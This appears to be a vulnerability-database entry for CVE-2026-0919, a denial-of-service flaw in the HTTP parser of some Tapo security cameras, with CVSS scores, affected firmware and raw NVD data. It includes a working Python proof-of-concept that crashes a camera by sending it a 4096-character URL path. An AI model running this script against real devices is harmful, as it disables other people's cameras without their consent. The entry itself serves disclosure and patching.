Security Vulnerability Report
中文
CVE-2026-0919 CVSS 7.5 HIGH

CVE-2026-0919

Published: 2026-01-27 18:15:55
Last Modified: 2026-04-29 17:16:41
Source: f23511db-6c3e-4e32-a477-6aa17d310630

Description

The HTTP parser of Tapo C210 v3, C220 v1 and C520WS v2 cameras improperly handles requests containing an excessively long URL path. An invalid‑URL error path continues into cleanup code that assumes allocated buffers exist, leading to a crash and service restart. An unauthenticated attacker can force repeated service crashes or device reboots, causing denial of service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:tp-link:tapo_c220_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:tapo_c220:1:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tp-link:tapo_c520ws_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:tapo_c520ws:2:*:*:*:*:*:*:* - NOT VULNERABLE
Tapo C210 v3 (所有已知固件版本)
Tapo C220 v1 (所有已知固件版本)
Tapo C520WS v2 (所有已知固件版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time def exploit_cve_2026_0919(target_ip, target_port=80): """ CVE-2026-0919 PoC - TP-Link Tapo Camera HTTP Parser DoS This PoC demonstrates how an excessively long URL path can trigger a denial of service condition in vulnerable Tapo camera firmware. Affected Models: Tapo C210 v3, C220 v1, C520WS v2 """ # Generate excessively long URL path to trigger buffer handling error long_path = "/" + "A" * 4096 # Craft malicious HTTP request http_request = f"GET {long_path} HTTP/1.1\r\n" http_request += f"Host: {target_ip}\r\n" http_request += "User-Agent: Mozilla/5.0\r\n" http_request += "Connection: close\r\n" http_request += "\r\n\r\n" print(f"[*] Sending malicious HTTP request to {target_ip}:{target_port}") print(f"[*] URL path length: {len(long_path)} bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_request.encode('utf-8')) # Wait for potential crash time.sleep(3) # Try to reconnect to verify DoS condition try: sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock2.settimeout(5) sock2.connect((target_ip, target_port)) print("[-] Target still responding - DoS may have failed") sock2.close() except: print("[+] Target not responding - DoS successful!") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = input("Enter target IP: ").strip() exploit_cve_2026_0919(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0919", "sourceIdentifier": "f23511db-6c3e-4e32-a477-6aa17d310630", "published": "2026-01-27T18:15:55.120", "lastModified": "2026-04-29T17:16:40.793", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The HTTP parser of Tapo C210 v3, C220 v1 and C520WS v2 cameras improperly handles requests containing an excessively long URL path. An invalid‑URL error path continues into cleanup code that assumes allocated buffers exist, leading to a crash and service restart. An unauthenticated attacker can force repeated service crashes or device reboots, causing denial of service."}, {"lang": "es", "value": "El analizador HTTP de las cámaras Tapo C220 v1 y C520WS v2 maneja incorrectamente las solicitudes que contienen una ruta URL excesivamente larga. Una ruta de error de URL no válida continúa hacia el código de limpieza que asume la existencia de búferes asignados, lo que provoca un fallo y un reinicio del servicio. Un atacante no autenticado puede forzar repetidos fallos del servicio o reinicios del dispositivo, causando denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c220_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.2", "matchCriteriaId": "F337B275-4344-4B21-9C3F-5E01F56C8015"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:tapo_c220:1:*:*:*:*:*:*:*", "matchCriteriaId": "671BCAEE-4AA0-4924-88E2-3B3C9087D171"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c520ws_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.3", "matchCriteriaId": "65DE4797-2C90-4C4A-BCA1-41F514F8153D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:tapo_c520ws:2:*:*:*:*:*:*:*", "matchCriteriaId": "D8E6B561-8739-4823-9226-82FE5084EE01"}]}]}], "references": [{"url": "https://www.tp-link.com/en/support/download/tapo-c210/v3/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630"}, {"url": "https://www.tp-link.com/en/support/download/tapo-c220/v1/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/en/support/download/tapo-c520ws/v2/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/us/support/download/tapo-c210/v3/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630"}, {"url": "https://www.tp-link.com/us/support/download/tapo-c220/v1.60/", "source": "f23511db-6c3e-4e32-a477-6aa17d3106 ... (truncated)